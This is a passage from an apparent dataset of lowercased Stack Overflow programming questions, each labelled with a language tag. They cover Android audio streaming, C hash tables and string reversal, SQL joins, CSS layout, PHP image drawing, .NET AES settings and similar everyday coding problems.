audioformat.encoding_pcm_16bit;         private boolean status = true; string size;   @suppresslint( newapi ) @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      if (android.os.build.version.sdk_int &gt; 9) {         strictmode.threadpolicy policy = new strictmode.threadpolicy.builder().permitall().build();         strictmode.setthreadpolicy(policy);     }       target = (edittext) findviewbyid (r.id.target_ip);     streaminglabel = (textview) findviewbyid(r.id.streaming_label);     startbutton = (button) findviewbyid (r.id.start_button);     stopbutton = (button) findviewbyid (r.id.stop_button);     target_port=(edittext) findviewbyid(r.id.target_port);     streaminglabel.settext( press start! to begin );     button= (button) findviewbyid(r.id.button1);     startbutton.setonclicklistener (startlistener);     stopbutton.setonclicklistener (stoplistener);     button.setonclicklistener(close);      target.settext( 10.0.2.15 );     target_port.settext( 50005 );      audiomanager audiomanager = (audiomanager) this.getsystemservice(context.audio_service);   //  samplerate = integer.parseint(audiomanager.getproperty(audiomanager.property_output_sample_rate));    size = audiomanager.getproperty(audiomanager.property_output_frames_per_buffer);   //  log.d( buffer size and sample rate    size :  + size +   &amp; rate:   + rate); }  private final onclicklistener close = new onclicklistener() {      @override     public void onclick(view arg0) {              system.exit(0);     }  };    private final onclicklistener stoplistener = new onclicklistener() {      @override     public void onclick(view arg0) {                 status = false;                 recorder.release();                 log.d( vs   recorder released.c );     }  };     private final onclicklistener startlistener = new onclicklistener() {      @override     public void onclick(view arg0) {                 status = true;                 startstreaming();                }  };    public void startstreaming() {       thread streamthread = new thread(new runnable() {          @override         public void run() {             try {                   int minbufsize =audiorecord.getminbuffersize(samplerate  channelconfig  audioformat);                 datagramsocket socket = new datagramsocket();                 log.d( vs    socket created.c );                  byte[] buffer = new byte[minbufsize+=4096];                  log.d( vs   buffer created of size .c  + minbufsize);                 datagrampacket packet;                  final inetaddress destination = inetaddress.getbyname(target.gettext().tostring());                 log.d( vs    address retrieved.c );                 log.d( vs   size+  );                 if (minbufsize != audiorecord.error_bad_value) {                     recorder = new audiorecord(mediarecorder.audiosource.mic samplerate channelconfig audioformat minbufsize*=10);                 log.d( vs    recorder initialized.c );                   if (recorder.getstate() == audiorecord.state_initialized)                      recorder.startrecording();}                   while(status == true) {                       //reading data from mic into buffer                     minbufsize = recorder.read(buffer  0  buffer.length);                      //encoding to base64                  // string buffer1= base64.encodetostring(buffer  base64.default);                      //putting buffer in the packet                     port=integer.parseint(target_port.gettext().tostring());                     packet = new datagrampacket (buffer buffer.length destination port);                      socket.send(packet);                    }              } catch(unknownhostexception e) {                 e.printstacktrace();             } catch (ioexception e) {                 log.e( ioexception message:  e.getmessage().tostring());               }            }      });     streamthread.start();  }    } </code></pre>   please give me your best help    thanks in advance.!,android
c array of structures  this is a lot of code but i m at ends here trying to figure out why its not working.     this is the code i m running:   <pre><code>struct dict {   struct word **tbl;   int (*hash_fcn)(struct word*);   void (*add_fcn)(struct word*);   void (*remove_fcn)(struct word*);   void (*tostring_fcn)(struct word*); };  struct word {   char *s;   struct word *next; }; </code></pre>   this is part of the main function:    <pre><code>  hashtbl=malloc(sizeof(struct dict));   //hashtbl-&gt;tbl=malloc(sizeof(struct word*)*256);   int i;   for(i=0;i&lt;256;i++)   {     hashtbl-&gt;tbl[i] = malloc(sizeof(struct word));     hashtbl-&gt;tbl[i] = null;     //hashtbl-&gt;tbl[i]=null;   }   hashtbl-&gt;add_fcn=&amp;add_word;   hashtbl-&gt;remove_fcn=&amp;remove_word;   hashtbl-&gt;hash_fcn=&amp;hash_function;   hashtbl-&gt;tostring_fcn=&amp;tostring;    file *p;   p = fopen( a.txt    r );   if(p == null) { printf( error!\n ); return 0; }   char line[maxbytes];   while(fgets(line  maxbytes  p))   {       char *token = strtok(line     );       while(token != null)      {         struct word *words = malloc(sizeof(struct word));         words-&gt;s = token;         words-&gt;next=null;         trim(words);         hashtbl-&gt;add_fcn(words);         token = strtok(null     );          printf( ....\n );         hashtbl-&gt;tostring_fcn(null);         printf( ....\n\n );        }       free(token);   } </code></pre>   here are two functions used (to string just prints it out)   <pre><code>void add_word(struct word *insert) {   if(strcmp(insert-&gt;s   \n ) == 0) {return;}    int hash = hashtbl-&gt;hash_fcn(insert);    if(hash==0) { return; }   struct word *word = hashtbl-&gt;tbl[hash];   if(word==null)   {     struct word *newword = malloc(sizeof(struct word));     newword-&gt;s=insert-&gt;s;     newword-&gt;next=null;     hashtbl-&gt;tbl[hash]=newword;      printf( () %d %s \n   hash  hashtbl-&gt;tbl[hash]-&gt;s);   }   else   {     struct word *tp = word;     while(word-&gt;next != null)       word=word-&gt;next;     struct word *newword = malloc(sizeof(struct word));     newword-&gt;s=insert-&gt;s;     newword-&gt;next=null;     word-&gt;next=newword;     hashtbl-&gt;tbl[hash]=tp;   } }  int hash_function(struct word *string) {   char *firstletter = string-&gt;s;   char c = *firstletter;   int ascii = (int)c;   return ascii; } </code></pre>   a.txt is    <pre><code>cat dog mouse </code></pre>   and it prints out the following:   <pre><code>() 99 cat  .... 99 : cat  ....  () 100 dog  .... 99 : dog  100 : dog  ....  () 109 mouse  .... 99 : mouse  100 : mouse  109 : mouse  .... </code></pre>   it should be printing out    <pre><code>99:cat  100:dog 109:mouse </code></pre>   thanks,c
.net attribute.match vs .equals   i was implementing my own attribute today when i noticed the virtual function <code>match</code>. the normal implementation of <code>match</code> is to call <code>equals</code>  so why does it exist in the first place     the documentation says the following for <code>match</code>   <blockquote>    when overridden in a derived class  returns a value that indicates   whether this instance equals a specified object.  </blockquote>   the documentation says the following for <code>equals</code>   <blockquote>    returns a value that indicates whether this instance is equal to a   specified object.  </blockquote>,.net
android: can i find view by its text   in my program i have dynamic buttons each representing a letter and i need to find a button that  has a specific letter. since the buttons  text change from time to time  i cannot use findviewbyid method  instead i need a way of finding view by its text. is there one     if not  suppose the button that has the letter i am searching for has id = b12 and i can get the number 12 in my program. how do i convert number 12 into r.id.b12,android
choose photo in uiimagepickercontroller  i would like to choose existing photo  but also have option of take video or take photo too; how do i do that  i tried the below code. notice that i did enable the source type photo library  but that doesn t seem to work.   <pre><code>- (ibaction)takephoto {   uiimagepickercontroller *uiipc=[[uiimagepickercontroller alloc]init];   uiipc.delegate=self;   uiipc.mediatypes=@[(nsstring *)kuttypeimage (nsstring *)kuttypemovie];   uiipc.sourcetype=uiimagepickercontrollersourcetypecamera|uiimagepickercontrollersourcetypephotolibrary;   uiipc.allowsediting=yes;   [self presentviewcontroller:uiipc animated:yes completion:null]; } </code></pre>,objective-c
score counter for a rock paper scissors game  so i am trying to put a score counter on this game of rock paper scissors. i would love some help   <pre><code>import random import math  fox = random.randint(0 900)   print  *  * 50 print     * 10   welcome to rock paper scissors!  print  *  * 50 opener = raw_input( do you think you have what it takes!!! ) #opener2 =  zero = int(0) num_rounds_won = zero    def thrower1(fox):      fox = random.randint(0 900)     if fox &lt;= 300:         return  r      elif 300 &lt; fox &lt;= 600:         return  s      else:          return  p   rd1 = thrower1(fox) while true:     choose = str(raw_input( rock  paper  or scissors  ))     choice = choose.lower()[0:1]#     raw_input( play again  )         if yes ref()  def ref(choice  rd1):     if choice ==  r  and rd1 ==  p :         return num_rounds_won + 1     elif choice ==  p  and rd1 ==  r :         return num_rounds_won + 1     elif choice ==  s  and rd1 ==  p :         return num_rounds_won + 1     elif choice == rd1:         return  draw      else:         return  i win!    results = ref(choice  rd1) print results print num_rounds_won + 1 </code></pre>,python
align submit button on float   i want to align my submit button right next to the dropdownlist with css. it is going to the top at the moment. <a href= http://jsfiddle.net/3nww6/  rel= nofollow >jsfiddle</a>,css
how to create a custom activity indicator in xcode  i need a know how to create a custom activity indicator in xcode  i tired of searching in websites  i didn find anything about it.please help meee...,iphone
path mtu discovery  i am developing an application which processes (video processing  etc) and sends large files (up to tens of gigabytes) over a network. i am sending the files using ftp. to improve the performance/memory consumption of the application  i would like optimize the buffers so that i dont send packets which are too large and get fragmented. the problem i have is that i dont have much ram to hold the file data whilst sending. basically  i read just enough bytes from disk  process it and immediately send to the destination. currently i am looking to implement mtu path discovery.     i am familiar with the basic concept of how to do it. i would like to know if there is any .net api in windows which keeps track of the mtu to a destination      i am guessing there is no such thing  but a friend of mine told me windows vista keeps track.    i am developing this application for windows xp  but i would like to learn if there is such a network tracking api in windows.,.net
select statement with distinct returning multiple rows and need only first result  i having a challenge with my query returning multiple results.   <pre><code>select distinct gpph.id  gpph.cname  gc2a.assetfilename  gpph.alternateurl from [stepmirror].[dbo].[stepview_nwppck_ngn_getpimproducthierarchy] gpph  inner join [stepmirror].[dbo].[stepview_nwppck_ngn_getclassification2assetrefs] gc2a on gpph.id=gc2a.id where gpph.subtype= level_4  and gpph.parentid=@id and gc2a.assettype= primary image  </code></pre>   <img src= https://i.stack.imgur.com/29zkp.png  alt= result set >    a record  5679599  has 2  primary images  and is returning 2 results for that id but i only need the first result back.  is there any way to do this in the current query   do i need to write multiple queries     i need some direction on how to constrain the results to only 1 result on primary image. i have looked at a ton of similar questions but most typically are just requiring the guidance of adding  distinct  to the beginning of their query rather than on the where clause.    edit: this problem is created by a user inputting 2 primary images on one record in the database. my business requirements only state to take the first result.     any help would be awesome!,sql
how do i get google to show different sections as parts of the same site   searching for nfl.com on google shows www.nfl.com  but it also shows nfl.com/teams  nfl.com/schedules  etc... as different sections of the same website. is there a way that i can tell google how my website is organized     right now if i search google for my 3 page website it will show 3 different results  instead of a single result with 3 sections.,html
on usage of <br> tag line-height does not work. why  <pre><code>&lt;div style= line-height:25px; &gt; first line of the content&lt;br /&gt; second line of the content&lt;br /&gt; third line of the content&lt;br /&gt; &lt;/div&gt; </code></pre>   on usage of break tag in a <code>&lt;div&gt;</code>  the line-height property is not working with any of the attributes:   <pre><code>line-height:20px; line-height:100%; line-height:1.5; </code></pre>   now the three lines are displayed with default line height and not with the specified <code>line-height</code> 25px. but if the <code>&lt;div&gt;</code> contains no break tag between the lines  the line height works. how to override this,css
create ics with objective c  i am writing an app for students at my university. at this point i want to export the lessons in the schedule as an ics-file. i have wrote something that works with csv-files  but now i want the same for ics. the problem is that ical at my mac doesn t want the in-app-created ics-files from this code:   <pre><code>    -(nsurl*)getfileurl {     nsstring *docspath = [nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) objectatindex:0];     nsstring *filepath = [docspath stringbyappendingpathcomponent:[nsstring stringwithformat:@ stundenplan-%@.ics   _matrnr]];     nsurl *fileurl     = [nsurl fileurlwithpath:filepath];       nserror *error = nil;     [[self geticsdata] writetourl:fileurl atomically:yes];     if (error) {         nslog(@ error while writing to file: %@   [error localizeddescription]);     }      return fileurl; }  -(nsdata*)geticsdata {     nsmutablestring *erg = [[nsmutablestring alloc] init];     nsdate *aktdatum = [nsdate date];      [erg appendstring:[nsstring stringwithformat:@ begin:vcalendar\nversion:2.0\nprodid:-//www.htw-dresden.de//ios//de\nmethod:publish\n ]];       for (stunde *this in _daten) {         nsstring *titel = [this.titel stringbyreplacingoccurrencesofstring:@    withstring:@ \\   ];         nsstring *dozent = [this.dozent stringbyreplacingoccurrencesofstring:@    withstring:@ \\   ];          nsstring *uuid = [[nsuuid uuid] uuidstring];          [erg appendstring:[nsstring stringwithformat:@ begin:vevent\nuid:%@\n   uuid]];         [erg appendstring:[nsstring stringwithformat:@ dtstart:%@t%@z\n  [self nurtagfromdate:this.anfang]  [self nuruhrzeigfromdate:this.anfang]]];         [erg appendstring:[nsstring stringwithformat:@ dtend:%@t%@z\n  [self nurtagfromdate:this.ende]  [self nuruhrzeigfromdate:this.ende]]];         [erg appendstring:[nsstring stringwithformat:@ last-modified:%@t%@z\nsequence:0\nstatus:confirmed\n   [self nurtagfromdate:aktdatum]  [self nuruhrzeigfromdate:aktdatum]]];         [erg appendstring:[nsstring stringwithformat:@ summary:%@\ndescription:%@\nlocation:%@\nend:vevent\n   titel  dozent  this.raum]];     }      [erg appendstring:@ end:vcalender ];      nsdata *ret = [erg datausingencoding:nsutf8stringencoding];      return ret; } </code></pre>   in the getfileurl i want to return a url to the file created in there. this function calls the geticsdata function that goes through my array (_daten) and creates for every stunde object this ics- code .  for help i have these nsdate formatting functions:   <pre><code>-(nsstring*)nurtagfromdate:(nsdate*)date {     nsdateformatter *nurtag = [[nsdateformatter alloc] init];     [nurtag setdateformat:@ yyyymmdd ];     return [nurtag stringfromdate:date]; }  -(nsstring*)nuruhrzeigfromdate:(nsdate*)date {     nsdateformatter *nurtag = [[nsdateformatter alloc] init];     [nurtag setdateformat:@ hhmmss ];     return [nurtag stringfromdate:date]; } </code></pre>   as output i get something like this:   <pre><code>begin:vcalendar version:2.0 prodid:-//www.htw-dresden.de//ios//de method:publish begin:vevent uid:cccac9b3-e056-47e3-a63b-f2fe2c3ba454 dtstart:20140318t111000z dtend:20140318t124000z last-modified:20140429t182723z sequence:0 status:confirmed summary:internet-technologien i description:vogt\  j. location:z 254 end:vevent . . . end:vcalender </code></pre>   but the calendar app at my mac don t want to open the file...    it would be great if some of you will have an idea :),objective-c
search for objects within a vector  i am trying to find a way  within my code to search for an object that is in the vectors that i have used. i am already pushing back the information into the different vectors and i know about .size to display the info. i want the user to be able to enter the bank account number then if that is correct display the contents of the other vectors.   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;algorithm&gt;  using namespace std;  //declaring four vectors std::vector&lt;string&gt;names; std::vector&lt;string&gt;address; std::vector&lt;int&gt;age; std::vector&lt;double&gt;accountnumber; //forward declaration of functions void namesinput (); void addressinput (); void ageinput (); void accountnumberinput ();   int main() {     //variable for switch statement     int choice;     system( title hsbc online banking );     system( color b6 );     cout &lt;&lt;  please select from the following options  &lt;&lt; endl;     cout &lt;&lt;  ----------------------------------------  &lt;&lt; endl;     cout &lt;&lt;  1. enter profile   &lt;&lt; endl;     cout &lt;&lt;  2. search for client   &lt;&lt; endl;     cout &lt;&lt;  3. exit  &lt;&lt; endl;     cin &gt;&gt; choice;     switch(choice)     {     case 1:         //calling functions for first switch case         namesinput ();         addressinput ();         ageinput ();         accountnumberinput ();         system( cls );         break;     case 2:         break;     case 3:         system( exit );         break;      }       return 0; }  void namesinput () {     system( cls );     for (int i = 1; i &lt;= 3; i++)     {        string temp;//variable to give to vector        cout&lt;&lt; enter   &lt;&lt; i &lt;&lt;   first  middle and last names :  ;        cin&gt;&gt;temp;        names.push_back(temp);//push back into vector     }  }  void addressinput () {     system ( cls );     for (int i = 1; i &lt;= 3; i++)     {        string temp;//variable to give to vector        cout&lt;&lt; enter   &lt;&lt; i &lt;&lt;   house number  street  postcode :  ;        cin&gt;&gt;temp;        address.push_back(temp);//push back into vector     }   }  void ageinput () {     system ( cls );     for (int i = 1; i &lt;= 3; i++)     {        int temp;//variable to give to vector        cout&lt;&lt; enter   &lt;&lt; i &lt;&lt;   day  month  year :  ;        cin&gt;&gt;temp;        age.push_back(temp);//push back into vector     }   }  void accountnumberinput () {     system ( cls );     for (int i = 1; i &lt;= 1; i++)     {        int temp;//variable to give to vector        cout&lt;&lt; enter   &lt;&lt; i &lt;&lt;   account number  ;        cin&gt;&gt;temp;        accountnumber.push_back(temp);//push back into vector     }     main (); }  void findclient () {     cout &lt;&lt;  to find a client please enter their account number  &lt;&lt; endl;    } </code></pre>,c++
how to modify resource file with forloop and build with gradle task (android project)  <strong>my case</strong>    our android project has a resource file located in res/config.xml  when we distribute  we need pack more than 40 packages with different channel_id which is set in config.xml.    <strong>product flavor </strong>    it seems i can t modify resource values in <code>productflavor</code> settings. i can only modify packagename and manifest etc  it can t modify resource files and can t do for loop.     <strong>task</strong>    i am wandering if there is a way to write a task which can set channel_id and build in a for loop.,android
iphone sdk basic element\button animation  i just wanna know if there exists simple drawer (move up and down certain pixels)like animation for generic iphone button as animated action or not     how one can approach to implement that.    can someone guide me.thanks for your effort in advance.,iphone
should i use filename or filepath to describe a fully qualified file name in .net   i have a method to read a file  the parameter should be the fully qualified file name.<br> the code i have uses filename  filepath  or path randomly.   <blockquote>    void readsomefile(string filename);<br>   void readsomefile(string filepath);<br>   void readsomefile(string path);    </blockquote>   the .net method  file.exists(string path)  uses path  but  filedialog.filename  uses filename.<br> which name do you suggest to use,.net
yield in python performances comparison  i m reading about the yield expression and generators in python  this approach it s really encouraged during huge calculations.    to check that  i ve created a simple .py script  in order to measure the time between one approach  using the yield expression and in memory range built-in class.    here is the script:   <pre><code>import time  def pow():     for i in  range(100000000):         yield i*i   start_time = time.time()  for i in pow():     res = i  print( seconds yield: {0} .format(time.time() - start_time))  start_time = time.time()  for i in range(100000000):     res = i*i  print( seconds in-memory: {0} .format(time.time() - start_time)) </code></pre>   it s a little bit strange behavior  because  i ve run the script via my terminal and the results are:    <pre><code>seconds yield: 17.303140878677368 seconds in-memory: 17.322022914886475 </code></pre>   i was expecting a lower value on the  yield  approach  but in any case is higher than the  in memory approach .    i ve checked on my system monitor if there was differences in therm of used ram or cpu  but are the same in any case...    ...can someone is able to explain me why       thanks.,python
do not have permission to open the created .mdf file using my application  in windows 7 log in as normal user then i am able to create .mdf file using my application  but not able to open the same file. it says i don t have permissions to open contact administrator. let me know the reason.,.net
gridview.getcheckeditempositions() does not return correct values  i am making an application in which i can select/deselect images .    when i select all images once     <code>gridview.getcheckeditempositions()</code> returns correct value. but if i deselect any item this method does not return updated values.    here is my code .   <pre><code>gridview.setonitemclicklistener(new onitemclicklistener() { @override             public void onitemclick(adapterview&lt; &gt; arg0  view view  int position                      long id) {                 //toast.maketext(galleryimages.this   position +position  toast.length_short).show();                 actionmode mode =startactionmode(mactionmodecallback);                  mode.settitle(gridview.getcheckeditemcount() +   selected );                  toast.maketext(galleryimages.this    +gridview.getcheckeditempositions().size()  toast.length_short).show();             }         });  final actionmode.callback mactionmodecallback = new actionmode.callback() {              @override             public boolean onprepareactionmode(actionmode mode  menu menu) {                 // todo auto-generated method stub                 return false;             }              @override             public void ondestroyactionmode(actionmode mode) {                 mode=null;             }              @override             public boolean oncreateactionmode(actionmode mode  menu menu) {                 // todo auto-generated method stub                 getmenuinflater().inflate(r.menu.contextual_menu  menu);                  return true;             }              @override             public boolean onactionitemclicked(actionmode mode  menuitem item) {                 layoutforalertdialog = (layoutinflater) galleryimages.this.getsystemservice(context.layout_inflater_service);                 view view = layoutforalertdialog.inflate(r.layout.addtag_dialog  null);                 alertfortag = new alertdialog.builder(galleryimages.this);                 alertfortag.settitle( enter name tag );                 alertfortag.setview(view);                 alertfortag.create();                 alertfortag.setcancelable(false).setpositivebutton( ok   new onclicklistener() {                     @override                     public void onclick(dialoginterface dialog  int which) {                      }                 });                 alertfortag.show();                 return true;             }          }; </code></pre>,android
code giving unexpected output in c  the following code snippet gives unexpected output in turbo c++ compiler:   <pre><code>     char a[]={ a   b   c };      printf( %s  a); </code></pre>   why doesn t this print <code>abc</code>  in my understanding  strings are implemented as one dimensional character arrays in c.<br> secondly  what is the difference between <code>%s</code> and <code>%2s</code>,c
what is wrong with my reverse function  i m trying to writing a function to reverse a string: if the string input is <code> hello world </code>  the function should return <code> dlrow olleh </code>. however  when i run my function the string stays the same:   <pre><code>void reversestring(char* s) {     char tmp;   //tmp storing the character for swaping     int length; //the length of the given string     int i;      //loop counter      //reverse the string of even length     length = strlen(s);     if (length % 2 == 0) { //if the length of the string is even         for(i = 0; i &lt; (int) (length / 2);i++) {             tmp = s[length - i];             s[length - i] = s[i];             s[i] = tmp;         }     }      //reverse the string of odd length     if (length % 2 == 1) { //if the length of the string is odd         for(i = 0; i &lt; (int) ((length + 1) / 2);i++) {             tmp = s[length + 1];             s[length + 1] = s[i];             s[i] = tmp;         }     } } </code></pre>,c
how to get a void function to work with another void function in c++   i put <code> (re) </code> in <code>void f()</code>  but i approached one funny problem with my program. when i put <code>(re)</code> in my void <code>f()</code>  my <code>void re()</code> is coded above the <code>void f()</code>  how would the <code>void re()</code> be able to know the <code>void f()</code>  visual studio wont let me run my program this way. i thought they were declared as void functions outside <code>main()</code> so i assumed those would work anywhere.   <pre><code>. . . . . void f() {     if (nextchar() ==  a )         match( a );     else if (nextchar() ==  b )         match( b );     else if (nextchar() ==  c )         match( c );     else if (nextchar() ==  d )         match( d );     else if (nextchar() ==  a )     {         match( ( );         re();      //how             match( ) );     } }  void re() {     if (nextchar() ==  a )     {         re();         re();     }     else if (nextchar() ==  a )     {         re();         match( | );         re();     }     else if (nextchar() ==  a )     {         re();         match( * );     }     else if (nextchar() ==  a )         f();                   //how     }   int main() </code></pre>,c++
what cipher mode/padding defaults or common uses of aes encryption would be used with .net   i m helping someone that needs to send an encrypted value with aes to a customer. the customer has not specified the block cipher mode  padding or how to generate the key. they ve only said this:   <blockquote>    then  encrypt this string using aes   encryptions with a key size of 256  a   vector of length zero (or length 16   byte array if in dotnet) and the key   of  xxx .  </blockquote>   of which the xxx key is 19 characters. i m assuming that they re using .net since it s mentioned. does anyone familiar with .net know what they might be suggesting to do with just a 19 character string for the key  we re familiar with encryption and will be using java on our side. however without a way to know how to constructor the aes key and what cipher mode and padding to use  we can t go any further. the customer is not responding very quickly to our questions  so i thought i d try asking here. thanks!,.net
joining tables while keeping the null values  i have two tables:   <ul> <li>users: id  first_name  last_name</li> <li>networks: user_id  friend_id  status</li> </ul>   i want to select all values from the users table but i want to display the status of specific user (say with id=2) while keeping the other ones as null. for instance: if i have users:    <pre><code>  first_name  last_name ------------------------ 1 john        smith 2 tom         summers 3 amy         wilson </code></pre>   and in networks:   <pre><code>user_id   friend_id   status ------------------------------ 2         1           friends </code></pre>   i want to do search for john smith for all other users so i want to get:<br>   <pre><code>id first_name  last_name   status ------------------------------------ 2  tom         summers     friends   3  amy         wilson      null </code></pre>   i tried doing left join and then where statement but it didn t work because it excluded the rows that have relations with other users but not this user.    i can do this using union statement but i was wondering if it s at all possible to do it without union.,sql
how to create checkbox in dropdownlist in asp.net with code pls no links  i want to implement the checkbox in dropdownlist using only c# code and if possible i want to use this checkbox in dropdownlist as usercontrol please help me guys.,asp.net
create an asp.net user control allowing customizable inner content  i would like to know how to create an asp.net user control that allows for inner content (and how to render the inner content.    as a very simple example  let s say we re creating a control to create a div  so the control would be used as follows:   <pre><code>&lt;%@ page language= c#  %&gt; &lt;%@ register tagprefix= custom  tagname= mydiv       src= ~\controls\mydiv.ascx  %&gt; &lt;html&gt; &lt;head /&gt; &lt;body&gt;     &lt;custom:mydiv id= div1  runat= server &gt;     ... customizable content here ...     &lt;/custom:mydiv&gt; &lt;/body&gt; &lt;html&gt; </code></pre>   the control should be agnostic to its inner content - i.e. any asp.net content can be added and will be rendered as per usual  and then surrounded with <code>&lt;div&gt;</code> and <code>&lt;/div&gt;</code> tags.    (note: i m obviously not trying to make a control to simulate div tags  it s just a simple example.),asp.net
add commas using string.format for number and  using string.format how can i ensure all numbers have commas after every 3 digits eg 23000 =  23 000  and that 0 returns  0 .    string.format( {0:n}   0); //gives 0.00 which i dont want. i dont want any decimal places  all numbers will be integers.,c#
get key & value from array in php   you can easily get an key from a array but if i have the value  and i have the key in array and wants boths  whats the best way to get it     like :   <pre><code>$controller = $request-&gt;get( _controller ); $home     = array( xxx\abcbundle\controller\pagehomecontroller::indexaction =&gt;5   xxx\abcbundle\controller\registrationcontroller::confirmedaction =&gt;10); </code></pre>   first time i want key for compression and when this is inter then want to key:-   <pre><code>if(in_array($controller $home)){        echo  blabla ;    $point = $home[$controller];  } </code></pre>   but this is not working.,php
how to review all datas in one pages in asp.net   i have five pages in asp.net web application. i entered information in first page and click next. it goes to next page and enter information in this page. i continue this process for five pages. before click submit button in fifth page  i need to review once all information entered by me in all previous pages under review button click. how do this  pls advice.,asp.net
draw square on each corner of an image in php  i want to draw square on each corner of my image  currently i have drawn one square at the top left of the image.   <pre><code>$canvas = imagecreatetruecolor(200  200); //rectangle coordinates $array_rectangles = array(array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200)) array( x1  =&gt; mt_rand(0  200)  y1  =&gt; mt_rand(0  200)  x2  =&gt; mt_rand(0  200)  y2  =&gt; mt_rand(0  200))); $white = imagecolorallocate($canvas  255  255  255); $background_color = imagecolorallocate($canvas  25  153  206); //creating ten rectangles. foreach ($array_rectangles as $key =&gt; $point) { imagefilledrectangle($canvas  $point[ x1 ]  $point[ y1 ]  $point[ x2 ]  $point[ y2 ]  $white); }  //creating square imagefilledrectangle($canvas  0  0  20  20  $green); imagepng($canvas  img.png ); //saving image </code></pre>   <a href= https://i.stack.imgur.com/p9wjj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p9wjj.png  alt= enter image description here ></a>    i have tried <code>imagefilledrectangle($canvas  200  0  20  20  $green);</code> and i get the below results.    <a href= https://i.stack.imgur.com/qohct.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qohct.png  alt= enter image description here ></a>,php
copying files error in c  im trying to copy files in c. i have no problems copying .txt  but with files like .jpeg i get errors... help pls   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;pthread.h&gt; #define buffer_size 20  pthread_mutex_t mutex; pthread_cond_t condp; pthread_cond_t condc;  int varproductor=0; int varconsumidor=0; int cantvar=0;  file *filep; file *filec;  char bytes[buffer_size]; char var;    void* funcproductor(){     while(!feof(filep)){                 pthread_mutex_lock(&amp;mutex);          while(cantvar==buffer_size){                                 pthread_cond_wait(&amp;condp &amp;mutex);         }           if(!feof(filep)){                    bytes[varproductor]=getc(filep);             varproductor=(varproductor+1)%buffer_size;                       cantvar++;         }         pthread_mutex_unlock(&amp;mutex);            pthread_cond_signal(&amp;condc);      }    } void* funcconsumidor(){     while((varproductor-1)!=varconsumidor){         pthread_mutex_lock(&amp;mutex);                   while(cantvar==0){             pthread_cond_wait(&amp;condc &amp;mutex);         }         if((varproductor-1)!=varconsumidor){                 putc(bytes[varconsumidor] filec);             varconsumidor=(varconsumidor+1)%buffer_size;             cantvar--;         }          pthread_mutex_unlock(&amp;mutex);            pthread_cond_signal(&amp;condp);          } }  int main(int args char** argv){      int hilosorigen=atoi(argv[2]);     int hilosdestino=atoi(argv[4]);        filep=fopen(argv[1]  rb );     filec=fopen(argv[3]  wb );      pthread_mutex_init(&amp;mutex null);     pthread_cond_init(&amp;condp null);     pthread_cond_init(&amp;condc null);      pthread_t threadp[hilosorigen];     pthread_t threadc[hilosdestino];      int i;      for(i=0;i&lt;hilosorigen;i++){         pthread_create(&amp;threadp[i] null funcproductor null);     }     for(i=0;i&lt;hilosdestino;i++){         pthread_create(&amp;threadc[i] null funcconsumidor null);     }     for(i=0;i&lt;hilosorigen;i++){         pthread_join(threadp[i] null);     }     for(i=0;i&lt;hilosdestino;i++){         pthread_join(threadc[i] null);     }       return 0; } </code></pre>   *im using pthreads to read bytes and saving them into and array  then more pthreads write them in a new file. the reading and writing are controlled semaphores.....   <hr>,c
uibarbuttonitem being hidden by navbar image  i have a view controller that loads another view controller as per below.  my problem is that the right button is not showing on the nav bar  but the left one is.  additionally  when i click where the right button should be  it calls my callback... so i reckon that it s just that the navbar image is being drawn on top of the right button.      note that if i change the code to animated:no  then the button actually displays as it should.  it only is hidden when animated=yes.    any ideas on how i can see my right button and have animation     <strong>from outside view controller:</strong>   <pre><code> saveditemdetailviewcontroller *detailviewcontroller = [[saveditemdetailviewcontroller alloc] initwithnibname:@ saveditemdetailviewcontroller  bundle:nil];  [self.navigationcontroller pushviewcontroller:detailviewcontroller animated:yes]; </code></pre>   <strong>inside of saveditemdetailviewcontroller viewdidload:</strong>   <pre><code>self.view.backgroundcolor = [uicolor colorwithpatternimage: [uiimage imagenamed:@ back.png ]];  uibarbuttonitem *delete = [[uibarbuttonitem alloc] initwithtitle: @ delete  style:uibarbuttonitemstyledone target:self action:@selector(deleteitem:)]; self.navigationitem.rightbarbuttonitem = delete; </code></pre>,iphone
should event listeners be inside document.ready function or does it not matter   when i use:   <pre><code>$(document).ready(function(){  }); </code></pre>   should my event listeners (e.g <code>$( button ).click(function(){})</code> go inside that doc.ready function or outside according to convention,jquery
align grid child at the bottom of grid  i have a grid   <pre><code>#featuredrestaurantsection {   display: grid;   grid-template-columns: repeat(auto-fill  minmax(100px  1fr));   grid-auto-rows: minmax(100px  auto);   -webkit-column-gap: 10px;   column-gap: 10px;   row-gap: 2em;   padding: 10px; } </code></pre>   i have 3 divs inside that e.g. a1  a2 a3. i want that div.a3 should always be positioned at the bottom of grid. because a1 &amp; a2 can have variable height and it look odd.    is it possible and how.    thanks,css
